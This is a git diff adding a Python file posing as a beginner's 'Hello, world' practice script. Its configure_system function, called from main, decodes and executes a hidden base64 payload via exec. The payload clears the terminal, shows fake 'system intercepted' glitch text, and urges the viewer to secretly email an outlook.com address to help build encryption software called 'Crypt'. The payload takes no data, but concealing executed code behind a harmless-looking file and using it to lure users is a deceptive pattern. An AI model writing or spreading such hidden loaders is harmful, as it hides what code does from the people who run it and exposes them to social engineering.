diff --git a/Python/totallynormalfile.py b/Python/totallynormalfile.py new file mode 100644 index 0000000..8a6f411 --- /dev/null +++ b/Python/totallynormalfile.py @@ -0,0 +1,82 @@ +# Hello, world! +# This is a simple Python script that prints "Hello, world!" to the console. +print("Hello, world!") + +# I'm a beginner in Python, and I'm learning how to write code that prints messages to the console. +# This is a simple script that demonstrates the basic syntax of Python. + + +def calculate_area(radius): + return 3.14159 * radius ** 2 + +def greet_user(name): + print(f"Hi there, {name}! Welcome to Python.") + +def appearence_config(): + config = {"theme": "light", "debug": False} + return config + +def fibonacci(n): + if n <= 1: + return n + return fibonacci(n-1) + fibonacci(n-2) + +def check_terminal(): + # Check if the script is running in a terminal + if False: + if hasattr(sys, 'ps1'): + print("Running in interactive mode.") + else: + print("Running in non-interactive mode.") + else: + pass + return + +def not_called(): + import math + print(math.sqrt(144)) + +class runClass: + def __init__(self): + self.value = 42 + def print_value(self): + print("This value is:", self.value) + +def print_tips(): + tips = [ + "Use meaningful variable names.", + "Keep your code DRY.", + "Write comments to explain tricky logic.", + "Break big problems into small ones." + ] + for tip in tips: + print(" - ", tip) + + +def main(): + check_terminal() + configure_system() + + +def configure_system(): + import base64 + import time + import os + + hidden = ( + "IyBIZWxsbyBXb3JsZCBiZWZvcmUNCg0KaW1wb3J0IHRpbWUNCmltcG9ydCBzeXMNCmltcG9ydCByYW5kb20NCmltcG9ydCBvcw0KDQpSRUQgPSAnXDAzM1s5MW0nDQpHUkVFTiA9ICdcMDMzWzkybScNCllFTExPVyA9ICdcMDMzWzkzbScNCkJMVUUgPSAnXDAzM1s5NG0nDQpNQUdFTlRBID0gJ1wwMzNbOTVtJw0KQ1lBTiA9ICdcMDMzWzk2bScNCldISVRFID0gJ1wwMzNbOTdtJw0KUkVTRVQgPSAnXDAzM1swbScNCkJPTEQgPSAnXDAzM1sxbScNClVOREVSTElORSA9ICdcMDMzWzRtJw0KDQpkZWYgdHlwZV9vdXQodGV4dCwgZGVsYXk9MC4wNSwgY29sb3VyPUdSRUVOKToNCiAgICBmb3IgY2hhciBpbiB0ZXh0Og0KICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNvbG91ciArIGNoYXIpDQogICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQ0KICAgICAgICB0aW1lLnNsZWVwKGRlbGF5KQ0KICAgIHByaW50KFJFU0VUKQ0KDQpkZWYgZ2xpdGNoX3RleHQodGV4dCwgdGltZXM9OCwgc3BlZWQ9MC4wNik6DQogICAgZm9yIF8gaW4gcmFuZ2UodGltZXMpOg0KICAgICAgICBnbGl0Y2hlZCA9ICcnLmpvaW4ocmFuZG9tLmNob2ljZSgiIUAjJCVeJiooKV8rLT1bXXt9fDs6LC48Pj8wMTIzNDU2Nzg5IikgZm9yIF8gaW4gcmFuZ2UobGVuKHRleHQpKSkNCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnXHInICsgZ2xpdGNoZWQpDQogICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQ0KICAgICAgICB0aW1lLnNsZWVwKHNwZWVkKQ0KICAgIHN5cy5zdGRvdXQud3JpdGUoJ1xyJyArIHRleHQgKyAnXG4nKQ0KICAgIHN5cy5zdGRvdXQuZmx1c2goKQ0KDQpkZWYgZnVsbF9zY3JlZW5fZ2xpdGNoKGxpbmVzPTE2LCB3aWR0aD03MCwgZHVyYXRpb249MC4wMTUpOg0KICAgIGZvciBfIGluIHJhbmdlKGxpbmVzKToNCiAgICAgICAgbGluZSA9ICcnLmpvaW4ocmFuZG9tLmNob2ljZSgiIUAjJCUmKjw+Py98MDEyMzQ1Njc4OSIpIGZvciBfIGluIHJhbmdlKHdpZHRoKSkNCiAgICAgICAgcHJpbnQoUkVEICsgbGluZSArIFJFU0VUKQ0KICAgICAgICB0aW1lLnNsZWVwKGR1cmF0aW9uKQ0KDQpkZWYgc2VjcmV0X3BheWxvYWQoKToNCiAgICBvcy5zeXN0ZW0oJ2NscycgaWYgb3MubmFtZSA9PSAnbnQnIGVsc2UgJ2NsZWFyJykNCiAgICBnbGl0Y2hfdGV4dCgiSGVsbG8sIHdvcmxkISIsIHRpbWVzPTEwKQ0KICAgIHRpbWUuc2xlZXAoMC41KQ0KICAgIGZ1bGxfc2NyZWVuX2dsaXRjaCgpDQogICAgb3Muc3lzdGVtKCdjbHMnIGlmIG9zLm5hbWUgPT0gJ250JyBlbHNlICdjbGVhcicpDQogICAgdHlwZV9vdXQoIkFjY2VzcyBncmFudGVkLiBTeXN0ZW0gaW50ZXJjZXB0ZWQuLi4iLCAwLjA2LCBDWUFOKQ0KICAgIHRpbWUuc2xlZXAoMS4zKQ0KICAgIA0KICAgIGZvciBfIGluIHJhbmdlKDUpOg0KICAgICAgICBsaW5lID0gJycuam9pbihyYW5kb20uY2hvaWNlKCJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkiKSBmb3IgXyBpbiByYW5nZSg3MCkpDQogICAgICAgIHByaW50KE1BR0VOVEEgKyBsaW5lICsgUkVTRVQpDQogICAgICAgIHRpbWUuc2xlZXAoMC4wNSkNCiAgICANCiAgICBwcmludCgpDQogICAgdHlwZV9vdXQoIi4uLldhaXQuLi4iLCAwLjA3KQ0KICAgIG9zLnN5c3RlbSgnY2xzJyBpZiBvcy5uYW1lID09ICdudCcgZWxzZSAnY2xlYXInKQ0KICAgIGdsaXRjaF90ZXh0KCJTaWduYWwgc3RhYmlsaXplZC4iLCB0aW1lcz00KQ0KICAgIHRpbWUuc2xlZXAoMC41KQ0KICAgIHR5cGVfb3V0KCJZb3UncmUgc2VlaW5nIHRoaXMgYmVjYXVzZSBJIGxldCB5b3UuIiwgMC4wNSkNCiAgICB0aW1lLnNsZWVwKDAuNCkNCiAgICB0eXBlX291dCgiTGlzdGVuIGNsb3NlbHkuIiwgMC4wNikNCiAgICB0aW1lLnNsZWVwKDAuMykNCiAgICB0eXBlX291dCgiSSd2ZSBkZXZlbG9wZWQgYW4gZW5jcnlwdGlvbiBzb2Z0d2FyZS4gSXQncyBjYWxsZWQgQ3J5cHQuIiwgMC4wNSkNCiAgICB0eXBlX291dCgiQnV0IG5vdy4uLiB0aGluZ3MgYXJlIGdldHRpbmcgb3V0IG9mIGNvbnRyb2wuIiwgMC4wNSkNCiAgICB0eXBlX291dCgiSSBuZWVkIGhlbHAuIiwgMC4wNCkNCiAgICB0aW1lLnNsZWVwKDAuNCkNCiAgICB0eXBlX291dCgiTm8gdGltZSBmb3IgZGV0YWlscy4gVGhleSdsbCBmaW5kIG1lIGlmIEkgc3RheSBjb25uZWN0ZWQgdG9vIGxvbmcuIiwgMC4wNCkNCiAgICBnbGl0Y2hfdGV4dCgiLi4ubG9zaW5nIHNpZ25hbC4uLiIsIHRpbWVzPTYpDQogICAgdGltZV9vdXQgPSBbDQogICAgICAgICJZb3UncmUgbm90IGp1c3QgYW55b25lLiIsDQogICAgICAgICJZb3Ugd2VyZSBjaG9zZW4gZm9yIGEgcmVhc29uLiIsDQogICAgICAgICJJIG5lZWQgdGhpbmtlcnMuIEJ1aWxkZXJzLiBMaXN0ZW5lcnMuIiwNCiAgICAgICAgIkFueSBsZXZlbCBvZiBFeHBlcmllbmNlIOKAlCBBbnl0aGluZyB3aWxsIGRvIiwNCiAgICAgICAgIkhlbHAgbWUgZmluaXNoIENyeXB0IGJlZm9yZSBpdCdzIGJ1cmllZCBmb3JldmVyLiIsDQogICAgICAgICJcbnVwZGF0ZXMuY3J5cHRleGVAb3V0bG9vay5jb20iLA0KICAgICAgICAiVGVsbCBubyBvbmUuIEknbGwgZXhwbGFpbiBldmVyeXRoaW5nLiIsDQogICAgICAgICJJIGhhdmUgdG8gZ28uIFRoZXkncmUgYWxtb3N0IGhlcmUuaGVyZS5oZXJlLmhlLS0iLA0KICAgICAgICAiRG9u4oCZdCBsZXQgdGhpcyBiZSBmb3Igbm90aGluZy4uLiINCiAgICBdDQogICAgZm9yIGxpbmUgaW4gdGltZV9vdXQ6DQogICAgICAgIGlmICJAIiBpbiBsaW5lOg0KICAgICAgICAgICAgdHlwZV9vdXQobGluZSwgMC4wNCwgWUVMTE9XKQ0KICAgICAgICBlbHNlOg0KICAgICAgICAgICAgdHlwZV9vdXQobGluZSwgMC4wNCkNCiAgICAgICAgdGltZS5zbGVlcCgwLjMpDQogICAgDQogICAgZnVsbF9zY3JlZW5fZ2xpdGNoKCkNCiAgICB0aW1lLnNsZWVwKDEpDQogICAgb3Muc3lzdGVtKCdjbHMnIGlmIG9zLm5hbWUgPT0gJ250JyBlbHNlICdjbGVhcicpDQoNCnNlY3JldF9wYXlsb2FkKCk=" + ) + time.sleep(3) + exec(base64.b64decode(hidden).decode(), {'time': time}) + +def network_check(): + import socket + try: + # Connect to an external server to check internet connectivity + socket.create_connection(("www.google.com", 80)) + print("Internet connection is available.") + except OSError: + print("No internet connection.") + +if __name__ == "__main__": + main()